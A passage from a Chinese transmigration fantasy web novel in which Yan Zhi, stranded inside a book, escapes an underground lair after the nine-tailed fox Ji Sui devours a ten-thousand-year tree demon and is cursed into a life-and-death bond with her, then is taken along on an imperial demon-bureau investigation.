看着虚弱的柳树精,颜芷垂眸盯着手里的柳絮,它在掌心无力地摇曳着,仿佛随便一阵风就能将它吹散。
随后,柳杨伸出血迹斑驳的右手,拍在地上,一棵绿色枝蔓从掌心而出,飞快生长着,想要托举着颜芷和陆承泽向上。
但随之而来的,是他的加速消亡。
按照这样的消耗速度,不消半刻他就会彻底灰飞烟灭,从此不再存于世间。
“现在已经是穷途末路,”柳树精一边控制枝条,一边费力地开口:“我愿以此命为代价,将颜姑娘等二人送出,若姑娘出去,能帮我看看小妹最好。”随之而来的,是他周身逸出的绿色精血和目眦欲裂的表情。
他竟是想要自爆送他们离开。
颜芷拨开柳树精的手,咬牙开口:“还没到最后时刻,你怎么知道不会柳暗花明?”
这世道不公,她也不会认输。
都说不撞南墙不回头,她是撞了南墙也要往前凿一凿看有没有别的出路。
看着又要裂开的伤口,颜芷劝慰道:“你可以吸一点我的血,我们先上去再说。”说着,边将柳杨的枝条往胳膊上扎。她不会轻易许诺,但既然答应了小萝卜精,就一定会把她哥哥送回她身边。
一旁的陆承泽刚运功消解完周身的毒气,拦下颜芷的动作,从包裹里拿出一个黑色丹药塞到柳树精嘴里,坐他身后为其疏通经脉。
柳树精不断逸散的绿色灵气渐渐有所减缓。陆承泽一边探查其脉穴一边皱眉:“古树生魅。《玄中记》上曾记载,‘千岁树精为青羊,万岁树精为青牛,多出游人间。’”
“这万年树妖不是普通妖物,以人妖黑气为修炼源头,又辅助食用他们的精血,经年累月下来,现在很难对付。”
捉妖人看向柳杨,安慰道:“这药丸可以帮助你恢复周身灵力,我们再想想别的办法。”
话虽如此,但陆承泽颤抖的双手也昭示着他已近力竭。
暂时恢复清醒,柳杨感激地看向二人,却抬眼瞥见她们身后那万年树妖已恢复体力,灰黑色的粗大枝干袭来,柳树精来不及说话,将他们挥开,被迫承受了这一重击倒下。
万年树妖哈哈大笑,攻势不减:“没想到你小子还挺见多识广。没错,老朽是万年木魅,子孙牛妖万千。还想着怎么逃出去吗?”他将苦战许久的纪绥甩到一旁,“别再叽叽歪歪了,你们今天都得死在这里。”说完放出数只牛妖,同时枝干向柳杨抓去,想借同族的精血来补充体力。
感觉到胸口有东西微微发热,颜芷想到了什么,她看向怀里的盒子,在昏黑的环境里闪着微薄的光芒。
“陆公子,您看这龙珠......”却见陆承泽眩晕过去。
见天下至宝龙珠现身,万年树妖古板无波的老脸也变得欣喜若狂,命令手下牛妖子孙夺宝。木魅禁不住从水潭里走出来,每一步带着地动山摇的声响,在昏暗的地洞里回荡。
它轻蔑地看向一边咳血的柳杨,这柳妖竟想背叛他,真是活腻了。
“我就是不放你走怎样?你走不了,只是你技不如人。”
“你连自己都救不了,还不自量力想去救那些同族?真是可笑。”
“承诺对强者才有用。”
嘭的一声。九尾狐单手支地落身,听到这番话眉头一皱,眼前树妖背弃约定的样子和回忆重叠,牵起心底密密麻麻的疼痛。
擦去嘴边的污血,纪绥冷笑:“话可别说那么早。”说话间,白色尾巴显现出来,像一柄宽大的白色巨伞,挡住树妖转向柳杨的攻击,“今天我就来教教你,失信于人可不是个美德。”
看向颜芷,淡淡道:“我还有一个办法,可以把你们都救出去,但我需要借用龙珠之力。”停顿了一会儿,冷声开口:“否则,就都死在这里。”
他没想到,那龙女居然将龙珠交给这眼前柔弱女子。真是出乎意料。龙珠一旦离体,除本人难觅行踪,又用了特制宝盒封着,难怪他使尽各种手段都找不到。
眼看着快速逼近的树妖,又昏迷过去的道士,因为刚才逃跑已经快用光力气的颜芷手心微微发汗,不得不做出决定。
现在,没有更好的办法了。
大不了,如果出去他再故技重施监禁龙女的话,自己再用□□秘密潜伏将龙女救出。
总会有办法的,总之现在活着要紧。
“我答应你。”颜芷艰涩开口,“你一定要保证把我们都安全带出去。这次不可食言。”
她扶起柳树精,快速打开身上的藏宝盒,露出里面的半颗珠子,那珠子温和,其中水气流转,煞是迷人。
像是下定某种决定,颜芷咬牙解开上面的保护咒,近距离朝着纪绥塞了过去。
龙珠成形才能爆发巨大威力,只有半颗,这九尾狐应该掀不起身份风浪的。
感受到精力耗竭,颜芷匆忙吞了颗龟息丹药续命。
她得先保命才能完成任务。
还有,这丹药怎么还有昏睡效果?
这是颜芷昏迷之前的最后想法。
她真的会给他?
本打算强取豪夺的纪绥收到意想不到的结果,盯着女子不动的背影,漂亮的眼眸片刻失神,而后泛起笑意:“好啊,君子一言驷马难追。”
反掌一握,龙珠便从盒子里飞到他手中。九尾狐将珠子攥住,得到了力量加持,白衣锦袍的公子眼神不复往日的温和,露出往日生死决斗杀妖灭敌的残忍。
这龙珠天生清明,能帮他压制体内黑气,这下好办了。
轻飘飘地一个挥掌,结成的五爪掌风就将逼近的无数牛妖狠狠拍碎在石墙上,青面獠牙的上百
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只牛妖们登时碎成了一堆齑粉。木魅见状大怒,发力袭击,却被对方一个甩尾生生挡回,霎那间枝干破碎,漫天碎屑如雨落下,产生的爆炸让石洞轻微晃动。
看到子孙轻轻松松被纪绥一招秒杀,木魅老人变得不淡定起来,他前进的脚步放缓,巨大的枝桠交叠在一起,将最脆弱的心脏-根系部分保护了起来。他想了想,打算退后,重回水中休养生息。脚下的根系缓缓如游虫蜿蜒,向水中探去。
但这狐狸崽子却不按常理出牌,没有像预想时的进攻,反而静静站在那里,不发一言。
诧异之间,忽然,这狐妖缓缓向他所在方向走来,刚才呈现圆伞状的九条尾巴忽地腾空展开,像是巨大的银白色羽扇,分外招摇。
他手上拿着半颗龙珠,松开手,半圆珠子莹润剔透,在空中旋转,散发着诱人的光泽。血色瞳孔再现,令人神志迷乱。
万年树妖目不转睛地盯着它,心中只有一个声音在疯狂叫嚣,好想要好想要,好想得到。像从未吃饱的人看到饕餮盛宴,饥肠辘辘的欲念催促着它不停前进。
再也抑制不住贪欲,木魅向九尾狐发起攻击,无异暴露了刚才好不容易藏起来的根系。
如他所料,纪绥轻笑:“你耳目如此之多,又活了上万岁数,应当见多识广,可知道,我是如何与对手搏斗的?”
刚才还得意洋洋的木魅闭眼不言,这狐狸崽子眼睛有问题,好像能诱惑别人心智。他知道,九尾狐一族,狡诈多情。不都是靠美貌和口才招摇撞骗,他才不会上这些狐媚子的当。木魅又捂住耳朵,只要不听他的话,夺下他手里那半颗龙珠就好。
“你算错了,我和他们不同,我是吸食你的黑气来的。”
九条尾巴不断拉长延伸,如同半空罩子般笼罩在万年树妖身上,妖异的画面中涌动着说不出的静美。
位置已经锁定,纪绥看着衣角上的污泥,不悦地将其擦去:“本来,我是不打算杀了你的。可今日,你必须死。”
眨眼间,巨大的白色尾巴散出的黑气与古树黑气对抗,如同两股不同方向的洪流交汇,木魅的黑气被顷刻压倒归入。而失去了多年吸收的黑气支持,树妖本身的绿色妖力闪烁起来,像黑暗中的萤火虫,星星点点,漫天飞舞。
“为......为什么?”瞬间被摧拉枯朽之势攻陷的木魅激动叫喊,怎么都不会想到,自己堂堂一个万年树妖,竟然败在不足百年的狐狸崽子手里,简直奇耻大辱。
“你太贪心了。”剩下的话被纪绥淹没在嗓子眼里。这老树妖贪心到违背约定,他生平最恨别人背弃誓言,当然要给个惩罚。
霎时间,木灵被吞噬,绿色妖气四散逸出,直冲地面,宛如火光冲天,在寂静的黑夜里格外分明。
在夜里敲锣巡视的打更人看到这一场景,慌慌张张地连滚带爬地想去缉妖司报告。
*
纪绥还在地下吞噬树妖。
万年树妖乃稀世补品,滋补功效极其好,贪欲养成的黑气更是能量丰沛如泄洪之水。绿色的妖力混杂着黑气不断从树妖身上回流到纪绥身上,九条尾巴散开,丝丝缕缕的绿色妖力盘旋着绕尾而上,被尾巴尖端吸收。
此时蓬松的尾巴有六条已经全然变黑,三条白尾中的一条尖端还在不知饥渴地拼命汲取着黑气,像刚沾上墨汁的上等软毫毛笔。
转瞬间,一颗擎天巨树收缩至于两人高,感受到生命力快速消逝的痛感,木魅痛苦地看向纪绥,威胁道:“疯狐狸,你最好就此收手。否则我死了,代价你承担不起。”
若有木灵,还能东山再起。可这狐狸崽子竟然不知足,还想吞他木灵,赶尽杀绝,让自己彻底消散于天地。
那九尾狐依然我行我素,看起来姿态悠闲,满不在乎。
木魅怨仇之气铺天盖地,多年心血毁于一旦,苦心筹谋多年,竟然栽在一个毛头小子手里,不甘叫嚣道:“你小子这么贪婪,会有报应的。黄毛小儿,生吞我木灵,我一定会向你复仇的!”
听到这番话,纪绥笑道,手上动作不减半分:“好啊,想向我寻仇的多的是。你要报仇,得先排队。”
见对方如此大言不惭,油盐不进,木魅怒火熊熊燃烧,苍老的声音满是怨毒,就在最后消失之前,用树妖族秘术立下根系诅咒:“我诅咒你,你会和第一眼看见的人类绑定生死契。”
“对方死你也不能独活。哈...嗬呃,性命被别人全盘掌握的感觉不好受吧。”
话语刚落,巨大的古树随着绿色妖力点点散去,化为灰烬,眨眼间,淡绿色的叶片化作一柄小剑刺入纪绥的眼眸。
资料出处
“千岁树精为青羊,万岁树精为青牛,多出游人间。”-《玄中记》
9. 约定
感受到异物入体,纪绥不适地眨了下眼。一行血泪顿时从清亮的眼眸流下,流过漂亮的下颌线滴向地面。
待妖力吸收完毕,他的瞳孔才从野兽般的窄尖变得人类般圆润温和。
这痛苦和黑气缠身的痛苦相比,简直不值一提。纪绥不慎在意地拿起衣袖擦了下眼睛,将眼角旁的血泪擦拭干净。
这些木系妖怪就是喜欢搞一些连接扎根什么的术法儿,真是土里扎根扎多了,到死都改不掉这毛病。他轻蔑一笑,对老树精的威胁不以为意。
而且,防患于未然不就行了?
闭着眼,纪绥随手撕下一截衣袖,流水质地的白纱蒙住眼睛,开启五感探寻。
吞噬完妖怪的黑气之后,往往需要一段时间休息。
只要这段时间闭关修养,不接触人类,等到他消化完老树精妖力,便不再有风险。
如此这般思索着,九尾狐感知到姓陆的捉妖人在何处,一条白色尾巴从身后出来,毫不留情地隔空拖住了他。另一条尾巴连带着不远处的柳树精。尾巴就像两条拎着重物的带子,颇为嫌弃地将二人拖拽至身前。
另一旁的那个丫鬟......不对,也可能不是丫鬟,是假装入府刺杀他的不知名凡人。纪绥皱眉,这女人,千方百计想要杀他,但刚才却信了他的话,将龙珠交给了他。
该说她聪明还是愚蠢?
莫名的感觉翻腾而起又稍纵即逝。
灵识探查,感应不到她的呼吸,难道真的死了?
他蹲下身子,伸出双指在女子人中前探了探,没有呼吸。
被刚才的爆炸波及到,她面上扑满黑灰,脏兮兮的样子看着很狼狈。
颜芷感觉到有一道冰冷的视线在自己脸上逡巡,不知道在做什么,随后莫名的触感在鼻息处停留又离开。她想睁开眼,但药效带来的副作用让人提不起精神。
俯视着这个刚才交给她龙珠的女子,纪绥第一次认真端详她的脸。白皙额角上有一块微微凸起的伤疤,因为时间久远颜色和旁边的皮肤快要融为一体。眉眼倒是很清秀,但总是一副倔得要死的样子,睫毛张开时候会像蝶翅般轻轻颤动,只有闭着的时候才显得神色平和,印象里看着他的时候,眸中总是充斥着憎恶。
纪绥冷笑一声,怎么这么容易就相信他?不明白妖怪最为善变吗?
更何怳是妖怪中以阴险狡诈著称的九尾狐。
别以为他没听到,她居然还放走了龙轻雨,险些破坏了他和养父的计划。
算了,看在给他龙珠的份上,就给留这凡人个全尸吧。
环视四周,纪绥想看有什么趁手的东西,将这二人带上去,顺便给这个女子立个衣冠冢。
转身要走的瞬间,却感觉被什么东西绊住了脚步。
低头一看,是这女子的手死死拽住他的衣角,掌背因用力爆出青筋。
终于等到药效散去,颜芷勉强睁开眼,就看到刚才信誓旦旦的男人转身离开的背影,后知后觉反应过来他刚才的举动,是想确认她死了没然后一走了之是吧?
是这样吧?
想到刚才还岌岌可危的信任,颜芷不由后悔得咬牙切齿。
这个王八蛋,她就不该相信他,幸好还有后手。刚才要不是吃了陆承泽给的龟息丹早就被炸死了。
这一番折腾下来后,感受到精力在快速流失的颜芷努力拽住纪绥,恶狠狠质问:“别走......说好了不会丢下我们,怎么可以出尔反尔。”
“你、这、个、疯、子、王、八、蛋。”
*
“娘,别走。不要丢下我。不要走......”女子的话和某个记忆中的声音重合,将纪绥拉回某个熟悉的画面。
山洞阴暗潮湿,安静地只能听到落水的声音。
温热的光源从洞口照进来,轻轻拨开他沉重的眼皮,也唤醒了他沉睡的意识。
喉咙滞涩干渴,像是有异物堵塞无法大声呼喊,每呼吸一次都有铁腥味涌上来,巨大的恐慌感和失落感将胸腔淹没,他听见自己微弱的声音,在朝着洞口走的背影苦苦哀求:“娘,你说过不会丢下我的,不要走......”
他想往洞口攀爬,奈何抓着地面的爪子没有力气,上面覆盖的皮毛失去了往日的白亮光泽,显得干裂粗糙。
背影回头,是一张美艳妇人的脸,对方深深地看了他一眼,还是决绝离开了。
*
陷入回忆的纪绥没有防备,突然被身后女子发力绊倒在地,样子可谓十分狼狈。愠怒之余,升起一股庆幸,幸好周围该死的都死了,没人看见他的困窘。他正想爬起来,被一个人翻身用力压在身上,正是刚才判断已经气绝身亡的颜芷。
“啊,原来你没死?”他微微挑眉,面露惊讶,声音依旧很好听,就像在聊你今天吃什么一样稀松平常。
呵,就这么盼望她死?
可惜不能让他如愿!
将绝命剪横在男子白净的脖颈上威胁,颜芷冷笑道:“你死千千万万遍我都不会死。龙珠呢?快交出来。”回忆起大学特意学的防身术,颜芷利索地将男子双手打了个结,在他身上摸索龙珠。
相比过去晕倒之前看到的残忍景象,此时纪绥因为眼睛上蒙了白色布条,收敛了刚才的肃杀之气,倒有几分病弱公子相。
只是目睹了刚才杀妖经过的人,都知道这个看似优雅端庄的男子有多虚伪暴虐可怕。
感觉到脖子上的尖锐刀刃,脸被迫在灰色地面摩擦,纪绥皱眉,冷冷开口:“我可以将龙珠交给你,但是不要动我眼睛上的东西。我眼睛刚才打架时候受伤了,有些畏光。”
“你以为我还会信你吗?”这臭狐狸说话一套又一套,信任一旦崩塌可是很难再建立的。
颜芷一把拽下他眼睛上的布条,想看对方在搞什么名堂。
男人反应比她更快,紧紧闭着双眼。
被束缚住的双手还在不停乱动,干扰她的搜索,十分麻烦。
有些不耐烦,颜芷用力用身子俯压住他乱动的双手,感觉触碰到了软绵绵的东西,联想到这个人在他身上的动作,纪绥忽地耳根一红,停止挣扎。
不过,龙珠被他藏在一个极其隐蔽的地方,她绝对找不到。
想到这里,他莫名放松下来。
“我找到了!”女子轻快的语气打断他的思考,是找到东西的喜悦没错。
但这怎么可能?
纪绥条件反射性地睁眼,睁眼的一瞬间,淡绿色的光芒笼罩,汇集成两把小巧的木箭,分别射入他和颜芷的瞳孔里。
看到对方空荡荡的双手,他恍觉上当。
颜芷轻笑:“允许你诈我,就不允许我诓你了吗?”
糟糕,中计了。
这是第一次她对他展露笑容。少女笑得开怀,带着几分真心实意,像骤然绽放的粉瓣月季一样耀眼迷人,之后百花盛开,花簇锦攒。一股奇怪的感觉翻涌上来,纪绥感到心脏不受控制地砰砰直跳。
一定是那老树妖怪的咒术在作祟。
看到对方扭头偏向一侧,颜芷有些奇怪。
她承认由于这九尾狐的可信度太低,想看看对方在搞什么鬼,于是也使计诈了对方一下。
没想到,伴随刚才一睁眼的动作,颜芷分明看到他眼角有血迹流出。
该死,难道真的误会这只狐妖了?被人误会过,她知道百口莫辩的感觉有多难受。纵使是罪大恶极的疯批反派,颜芷甚至也不自觉地对这只狐妖生出一些惭愧。
“你眼睛怎么了?”
封印已成。想起刚才老树精死前洋洋得意的笑容,纪绥心情有些莫名复杂。
看来,在没找到办法解开这个生死契前,他还得想办法护着这个女人一段时日。
而且,务必不能让对方知道这个真相,否则,看她如此痛恨他的模样,恐怕自杀也要带他下地府。想到这里,纪绥开口解释:“我刚才并未想抛弃你们,而是在找上去的路。”说完后偏头示意。
顺着男子偏头的方向示意去看,颜芷果然看到被两条白色尾巴拖着的捉妖人和柳树精,两人都闭着眼,是昏迷的状态。见女子半信半疑,纪绥又补充道:“这里四面石壁,空气逐渐稀薄,如果不尽快找到出路,恐怕我们都会窒息而亡。”
理性上来说,对于纪绥的话,颜芷此时已经是打一千个一万个不放心。
但感性上来说,他提到的内容,也正是她目前困扰的。
看着高耸入云的石壁,凸起的石柱层峦叠嶂,仿佛在墙上组成了一片巨型迷宫,从这里出去可不容易。
旁边还躺着昏迷的捉妖人和柳树精,她必须把他们都带出去。
看着女子苦恼的模样,纪绥勾起嘴角,再度“善解人意”地开口:“我有一办法,可以将你们都带出去。”
“但前提是,你得为我指路。”
修行极深的妖怪不需要用眼睛,凭借感知可以探寻周边东西,但她让他不好受,他也得还回去。
“你确定要我为你指路?”似乎想到了什么,颜芷脸色有些不自然,吞吞吐吐道。
纪绥坚定说道:“当然,这里只有你还清醒着。我叼着你,你在前方辨认方向开路。’’说起这个,他眯了下眼睛,似有不悦:“这么点小事,难道你也做不到?”
被戳到某个痛脚,颜芷立刻换了副口气:“指路就指路,别废话,赶紧走吧。”
俊美的病弱公子化作九尾狐原形,一甩头,将捉妖人和柳树精嫌弃地驮在背上,用尖利的獠牙将颜芷叼起来,看嘴下人颤颤巍巍的样子,心头觉得莫名畅快。
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于是便出现了这样一个场景,一只三人高的白毛狐狸在石林间反复横跳。
衣带被狐妖叼着,颜芷整个人失去重心地悬在空中,感觉就像在坐游乐园的过山车,肚里翻江倒海。
“向东,对,向西,不对,左拐,对对对。”她一手压着腹部,强忍着呕吐的感觉一边伸出右手食指指路。
数不清脑壳上已经撞了几个包,纪绥才意识到,对方是个路痴。难怪刚才一脸底气不足。让她指路等同于自讨苦吃。
这一趟下来,真的不知道是捉弄她还是捉弄自己。
经历一番周折,在不知道拐了多少个弯路后,众人总算回到了地面上。
将身上的累赘毫不留情地甩在地上,嘴里叼着的人放在地上后,纪绥如释重负。
他赶忙化作人形,还是翩翩佳公子的模样,就是额头上有些红肿,显得有些滑稽。
终于踩在有坚实触感的地面上,夜晚清凉的风拂过,颜芷感觉又活过来了。
对了,男主怎么样?
想到任务,颜芷连忙去查看刚才被甩到地上的捉妖人,对方还是一副昏迷不醒的样子。
“陆公子,你没事吧?”
颜芷一边大力摇晃想把对方晃醒,一边悲苦想到,她这是什么命啊,刚救完女主又要救男主,一刻都不带喘儿的。男主可千万不要挂了,挂了她还怎么回家?
想到这里,不由得焦躁起来,她回忆着在中学体育课上学过的急救知识,将陆承泽身子放平,准备开始给男主做胸腔按压。
整理好衣服,纪绥回过头,看到女人一脸焦急的样子,不由得有些吃味。
不是他说,这个人怎么勾三搭四的,一会儿关心柳树精,一会儿又关心捉妖人,正义感和善心好像取之不尽,用之不竭。
而且男女授受不亲,不知道捉妖人已经名草有主了吗?
他想走向颜芷,脚步刚动,捉妖师清醒过来,吐出一口浊气。
于是,纪绥懒散开口:“颜姑娘似乎不知道陆公子已经名草有主?如此做派成何体统?”
救人要紧,颜芷白了他一眼,看到九尾狐向她这里靠近,拿起绝命剪威胁道:“你别过来,别伤害他。”强敌在前,她尽量让自己声线保持平稳不露怯,但心下有些忐忑。
对方刚刚吸食了老树精妖力,现在又回到熟悉宅邸,对付她们简直轻而易举。有几分胜算还真不好说。
俊秀公子听到她的话,意料之外地在离她三步外站定,露出一副受伤的表情,将一块盒子放下又走远几步:“姑娘误会了,我只是来归还东西的。”
颜芷定睛一看,是她之前装龙珠的特制宝盒没错。
难道又误解他了?
再次低头反思自己的多疑,却忽略了九尾狐眼中一闪而逝的危险暗芒。
是的,他救捉妖人出来当然不是因为突发什么善心,而是因为手中这颗龙珠似乎被加上了某道神秘封印,他无法全部调动力量,除非找到另外半颗龙珠,合二为一。
现在还珠看似放虎归山,实则是让手上这道施加了定位的珠子,去找龙女。
待将珠子拼凑完整以后,他自然会回收。可谓一箭双雕。
醒来的陆承泽将虚弱的柳树精收回行囊,小声开口提醒:“颜芷姑娘,那纪公子并非良善之辈,你呆在他身边很不安全。我已将龙姑娘转移到附近,我们先行离开,安顿好柳杨后,再从长计议。”
见这俩人又在说悄悄话,纪绥不爽,开口高声威胁:“我这里可不是城门,容不得你们想出就出想进就进,你们俩人中只能一人离开。”
说着,食指轻点了下颜芷和陆承泽两处,意思十分明显。
“要么你走,她留下,要么......”九尾狐面带不满,右手翻转向上,黑气汇集,隐隐有要出手的架势。
“莫名带走我府里的丫鬟可说不过去。”
这捉妖人带着龙珠走就算了。
把她带走,那可不行。这凡人女子万一出个什么意外,还得连累他送命。
看到纪绥莫名其妙的神色,颜芷不解。这九尾狐又在打什么鬼主意?
对他来说至关重要的龙珠都还了,要她干什么?
算了,保护男主安全比较重要。把主角支走,确保结局不会烂尾,她这个路人配角也好尽快完成接下来的刺杀任务。暂时想不到更好的办法了。
“我现在还不能离开,你先走。”看陆承泽被反派威胁一脸怒意,要不管不顾上来拼命的架势。颜芷只好拿起旁边宝剑,威胁正派男主。
锋利的剑尖贴着她白皙的脖颈,微微擦出血痕。“你,安顿好柳杨后,带着龙姑娘越远越好,永远不要出现在我和他面前。”
“如果再看到你们回来救我,就立刻自尽。”
10. 跟我走
没见过被戳穿真相后还心甘情愿追随恶人的。一身正气的男主盯着她半响,有些难以置信。
再三确认她没被下迷魂丹,捉妖人叹了口气,“......颜芷姑娘,你多保重。”
成为小说主角的基本原则是什么?
不滥杀无辜,不让别人因自己而死,也不强人所难。
这就是正义主角的绝对魅力,提供的安全感无可厚非,也是颜芷作为读者喜欢这本小说的原因。
也只有这样,才能道德绑架他们,进行下一步计划。
目送捉妖师离去的身影,她松了口气,放下横在脖子上的剑。
得亏是正派主角,如果是反派九尾狐,恐怕这句威胁还没说出口,对方已经冷笑着一剑把她了结了,哪里还管她这个普通人死活。
说起来,这狐妖刚才一直很安静,没有出声,葫芦里卖什么药?
颜芷拿起绝命剪想要自卫,那柄刚被她扔在地面的刀身反射出惨白的光,倒映出身后男人的脸色。
出乎意料,对方没有什么动作,只是站在原地一脸复杂地盯着她,在晦暗的夜色下看不分明。
他有些看不明白眼前这个人,明明看起来和那捉妖人龙女是一个阵营的,为什么连挣扎都不挣扎一下,怎么这么快就变心了?难道她并非他想象中那么正义凛然,是根摇摆不定的墙头草?
胆战心惊的一夜终于过去,天边泛出鱼肚白,此刻已是五更天。
“开门,缉妖司收到举报,奉命搜查。”
有人用力地拍着大门,砰砰的声响传来。因为搜查对象身份颇高,巡捕们好不容易走完申请流程,拿到搜查令马不停蹄赶来纪府。
并未挪动半分,纪绥面无表情地打了个响指。
之前受到蛊虫噬咬的仆从清醒过来,两个人一路连滚带爬地奔向前厅,匆匆忙忙去开门。
看到这场面,颜芷不由腹诽,这反派平时手段是有多恶劣,才能把这么多人吓得抖如筛糠。
伴随着咔哒的开锁声响,一群人鱼贯而入,身上皆穿着皮甲特制服装,上面绣着精致的云雷纹样,身带佩剑,一看便知是皇家特供。
“下官秦洛,失礼了。本来不敢打扰世子休息,但是有人报告此处妖气冲天,有妖孽作祟。我们只是按规办事,还望世子见谅。”为首的将领虎背熊腰,拱手作揖,嘴上一边说着抱歉,一边示意手下去搜查。
颜芷在一旁默默观望,这人虽然嘴上说着多有打扰,但属下们翻箱倒柜的动作并未多有局促,还颇为粗鲁,明显背后有人撑腰。
俊美公子闻言颔首,面色不改,姿态闲适地站在一旁,抬手示意手下别动。
当今皇帝对于妖怪之事极其忌讳,最痛恨装神弄鬼,曾颁布特诏:如有人作祟,或见妖出没,不论皇亲国戚,还是贩夫走卒,一律按照律法严明处理,轻者入狱,重者诛连九族。所以,即使贵为世子,拿到搜查令后也有权处置。
不消半刻,紧随而来的缉妖司众人已经将纪府上上下下里里外外搜了个遍,就差掘地三尺,但并未发现半分妖怪的踪迹。
瞥到罪魁祸首若无其事的样子,颜芷心里天人交战,垂眼盯着身上的丫鬟服,正思考要不要利用这个机会及时举报。
原著小说里,男女主行动场所多在民间,做行侠仗义、扫黑捉妖除害之事,并未对朝堂政事有太多提及。只提到,皇帝对妖怪的态度严苛,凡是抓走的妖怪都不知去向,藏匿妖怪的人类也满门抄斩,作为这狐妖府上的丫鬟,势必一同波及,还会连累府里的下人。
见毫无收获,秦洛才道出潜在来意:“殿下,你可知工部侍郎沈澈失踪一事,据他府上赶马仆从所言,侍郎是来你府上和你会面后消失。”
他说完,递来一张烫金描字的拜帖。
纪绥接过,发现帖子有若隐若现的黑气缠绕,微微挑眉:“侍郎失踪一事我并不知晓。和他会面结束后,我就因身体不适在家休养。”
为首的另一名缉妖司将领开口,开道:“那就有劳世子跟我们走一趟了。”
伏天大典为国之重事,在这么要紧的关头失踪可不是个好兆头。
看来又有黑气出现了?
不知道是什么妖怪,还敢在他眼皮子底下闹事?这得亲自去一趟解决。纪绥回头,看了颜芷一眼,招手示意她过来,对秦洛开口:“出发前,我需要收拾个东西。”
看到九尾狐的动作,颜芷有些莫名奇妙。什么意思?难道这黑心反派是想走之前先把自己解决了?
却见俊美公子走到她面前:“你跟我一起走。”说着嫌弃似地捏起她一截破烂衣袖,因为在地上滚过,还带着泥泞,皱眉道:“你先把这身衣服换了。跟我一起去。”
*
见女子没有反应,他轻轻俯身,用背影将她遮挡住,低声威胁:“你要是不答应,我马上把捉妖人和龙女再抓来。”说着,挑起她耳边的鬓发,贴耳说:“或者你想让他们知道他们的行踪?”示意她看身后一脸凶神恶煞的缉妖司。
明明可以直接对她动手还要好言相劝?这可不像反派一贯的作风。
这狐狸到底在卖什么关子?颜芷将他撩起的鬓发收回,也好,跟他一起去,趁机执行任务。
刚才在她昏迷的时间里,一定是发生了什么自己不知道的事,才让这个人对她如此提防又动她不得。
“好啊,我答应你,前提是你要把这府里所有人的蛊虫解了。”
这蛊虫一日不除,所有人就一日得听命于反派,到时候她万一刺杀成功,逃跑行动多有不便。
纪绥点头,命令管家带颜芷去换一身干净的衣裳。
看平时眼高于顶的世子对刚来的新丫鬟态度不一般,赵管家以为是终于开了窍,本着讨好主子的态度,自作殷勤地给颜芷挑了一身贵重衣裳,还特意吩咐命令巧手婢女给她好好打扮一番。
水蓝色衣裙轻若流云,将少女本就清冷的面容衬得越发脱俗。
赵管家不由感慨道,没想到这个名不见经传的丫头还是个不可多得的美人胚子?颜芷并未在意管家脸色,而是侧头摆弄着繁复的耳坠,走到前厅,有些不习惯。
她可不认为自己这长相还有美人计的需要,但现在受人所制,既然如此,就先按着对方心意来摸清一下反派底细如何。
正心烦意乱之时,却看到那狐狸对着她愣神片刻,单拳掩唇轻咳道:“怎么那么慢?快点跟来。”
本意只是想让她换件干净衣裳,不要出去丢了他纪府的脸面,没想到竟是如此扮相。纪绥耳根发红,低声嘱咐:“记住,你待会儿一定要寸步不离地跟着我。”
还有没有天理了?明明是他让自己收拾的,反过来又怪她动作慢?
罢了,人在屋檐下,不得不低头。颜芷想着要完成的计划忍气吞声,亦步亦趋地跟在他身侧。
等到世子出来,缉妖司将领秦洛才发现他身旁还跟着一名陌生女子,面露疑惑,好意提醒:“世子殿下,我们此行要去工部侍郎府上。”
言外之意这次要查案办公,带闲杂人士多有不便。
听出对方潜台词,纪绥重重咳嗽了两声,走到马车前:“我缺少人伺候。这是贴身伺候的侍女,在身边比较方便。”说着便伸手等人搀扶上车。听到这话,颜芷有些不快,但为了角色扮演任务,还是去了车前扶着他上轿:“公子您上轿。”
她本想跟在马车后,却被病弱公子毫不犹豫地一把拽进马车。
看到这个场景,巡捕们心领神会,两相对视,尽是戏谑。
早就听闻纪世子生活铺张奢华,没想到办正事时候也不忘找人伺候,果然是个浪荡子。
事情紧急,他们不再拖延,一行人向沈侍郎府进发,马蹄踢踏声逐渐远去。
马车摇摇晃晃,颜芷看着对面姿
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态闲适的贵公子,提醒道:“已经按你说的做了,你可别忘了自己的承诺。别找他们麻烦。”
对方闻言,看向她的目光带着冰冷的审视:“别把自己想得那么伟大,你不也没相信过任何人?”半晌,突然开口:“颜芷?这才是你真正的名字吧?”
是的,她之所以借反派龙珠,又威胁主角走,一切都以保命为前提。颜芷是要完成任务回家,也要执行正义,可前提是活着。没了命一切都免谈。她不是为了正义愿意牺牲一切的主角。
而且,说到底,这些都是虚拟小说中的角色,只是一个故事而已,不该付出太多真情实感。
被他戳中了某种隐秘的心思,颜芷不再多话,透过不停晃动的轿帘看窗外风景打发时间。
*
时间回到两日前,工部侍郎沈澈府上,后院晚风亭,时值初夏,徐徐微风吹过,盛开在池塘里荷花微微摇摆。天色已经接近黄昏,大片橙红色的云彩斜挂在天边。
“夫人,老爷说今日公务繁忙,不回来了,让您早日歇息。安神汤也熬好了。”阿秀规规矩矩报告完后,就安静地去凉亭一旁侍弄花草。
相处这么久,她早已摸清了夫人的脾性。沈夫人性情随和,为人沉稳安静,只要把日常任务完成了,平常做什么是不会管的。阿秀弄着手里的花草,抬眼看向绣着荷包的妇人,银针在手中灵巧地穿梭,旁边小巧的竹篮堆叠着形态各异的荷包和香囊,纹样栩栩如生。
听到这话,妇人脸上毫无波动,只是手上动作微颤,银针偏移,带着薄茧的指头上沁出血珠,刚绣好纹样的鸳鸯雌鸟尾部瞬间染了血色,于是慌忙拿起洁净的手帕擦去,重新拿起银针继续,回道:“我知道了。阿秀,你一会儿把东西准备好。”
丫鬟应了声,余光望向竹篮,针脚个个细密,花样繁多,游龙戏凤、鹊桥相会、莲花松鹤,无一不是活灵活现。
诶,奈何想送的人从来都看不见。
手里的荷包还差最后的收尾,沈夫人屏息凝神,看着手里的荷包渐渐成型,鸳鸯戏水终于完成。
她细心地将其它荷包排列好,将绣好的荷包轻轻地放进篮子最后一格。
时间到了,沈夫人起身,看向阿秀,丫鬟心领神会,提起竹篮跟在一瘸一拐的夫人身后亦步亦趋。
纵使这副场景已经上演过上百次,她还是忍不住感慨,夫人的手艺真是巧夺天工,随便一件绣品拿出去叫卖都会很抢手,一点也不比外面那些叫嚣百金的刺绣坊东西差。
只可惜,这些非凡的绣品最后都是一个结局。
